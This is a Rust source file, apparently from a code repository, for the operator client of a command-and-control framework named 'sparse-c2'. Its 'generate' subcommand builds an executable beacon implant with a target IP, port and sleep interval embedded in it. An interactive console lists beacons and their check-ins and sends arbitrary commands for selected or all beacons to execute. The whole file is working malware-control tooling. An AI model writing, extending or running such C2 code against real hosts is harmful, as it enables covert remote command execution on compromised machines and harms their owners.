2023-12-05 15:16:20 -05:00

183 lines
5.2 KiB
Rust

use std::{
self,
io::{self, Write},
net::{Ipv4Addr, SocketAddr},
};
use structopt::StructOpt;
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
};
use sparse_c2_messages::{BeaconId, BeaconOptions, ClientCommand, ClientResponse, CONF_SEPARATOR};
#[cfg(debug_assertions)]
const BEACON: &'static [u8] = include_bytes!("../../../target/debug/sparse-c2-beacon");
#[cfg(not(debug_assertions))]
const BEACON: &'static [u8] = include_bytes!("../../../target/release/sparse-c2-beacon");
#[derive(StructOpt)]
enum Command {
Generate {
#[structopt(short = "i", long)]
target_ip: Ipv4Addr,
#[structopt(short = "p", long)]
target_port: u16,
#[structopt(short = "o", long)]
source_ip: Ipv4Addr,
#[structopt(short = "s", long)]
sleep_secs: u32,
#[structopt(short = "n", long)]
name: String,
},
}
#[derive(StructOpt)]
struct Options {
#[structopt(long, short)]
address: SocketAddr,
#[structopt(subcommand)]
command: Option<Command>,
}
async fn list_state(client: &mut TcpStream) -> anyhow::Result<()> {
let cmd = serde_json::to_vec(&ClientCommand::GetState)?;
client.write(&cmd).await?;
let mut buf = [0u8; 8192];
let len = client.read_u32().await? as usize;
client.read(&mut buf[..len]).await?;
let ClientResponse::StateUpdate(beacons, commands) = serde_json::from_slice(&buf[..len])?;
println!("Commands issued:");
for command in commands {
match command.beacon_id {
Some(beacon) => println!(
"\t[id {}] (targets: {}): {}",
command.command_id.0, beacon.0, command.command
),
None => println!(
"\t[id {}] (targets: all): {}",
command.command_id.0, command.command
),
}
}
println!("\nBeacons:");
for beacon in beacons {
print!("\t[id {}] (listening on: {}) ", beacon.id.0, beacon.port);
match beacon.last_connection {
Some(ci) => print!("last checked in {ci}; "),
None => print!("has not checked in; "),
};
if beacon.done_commands.is_empty() {
println!("no commands executed");
} else {
println!("{} commands executed", beacon.done_commands.len());
for cmd in beacon.done_commands {
println!("\t\t[id {}] executed at {}", cmd.0 .0, cmd.1);
}
}
}
Ok(())
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let options = Options::from_args();
let mut client = TcpStream::connect(options.address).await?;
match &options.command {
Some(Command::Generate {
target_ip,
target_port,
source_ip,
sleep_secs,
name,
}) => {
let mut file = tokio::fs::OpenOptions::default()
.write(true)
.create(true)
.mode(0o755)
.open(name)
.await?;
file.write_all(BEACON).await?;
file.write_all(CONF_SEPARATOR).await?;
let conf = serde_json::to_vec(&BeaconOptions {
sleep_secs: *sleep_secs,
target_ip: *target_ip,
source_ip: *source_ip,
target_port: *target_port,
})?;
file.write_all(&conf).await?;
let listen =
serde_json::to_vec(&ClientCommand::ListenFor(name.to_string(), *target_port))?;
client.write_all(&listen).await?;
}
None => {
let stdin = io::stdin();
let mut stdout = io::stdout();
let mut selected_beacon: Option<BeaconId> = None;
loop {
let mut buffer = String::new();
match selected_beacon {
Some(ref bid) => print!("{} > ", bid.0),
None => print!("> "),
};
stdout.flush()?;
stdin.read_line(&mut buffer)?;
let mut items = buffer.trim().split(' ');
let cmd = items.next();
match cmd {
None | Some("") => {
eprintln!("Please enter a command!")
}
Some("list") => {
list_state(&mut client).await?;
}
Some("select") => {
let beacon = items.next();
selected_beacon = beacon.map(ToOwned::to_owned).map(BeaconId);
}
Some("cmd") => {
let parts = items.collect::<Vec<_>>();
let cmd = parts.join(" ");
let cmd = serde_json::to_vec(&ClientCommand::SendCommand(
selected_beacon.clone(),
cmd,
))?;
client.write(&cmd).await?;
let _ = client.read_u32().await?;
}
Some(other) => {
eprintln!("Unknown command: {other}");
}
}
}
}
}
Ok(())
}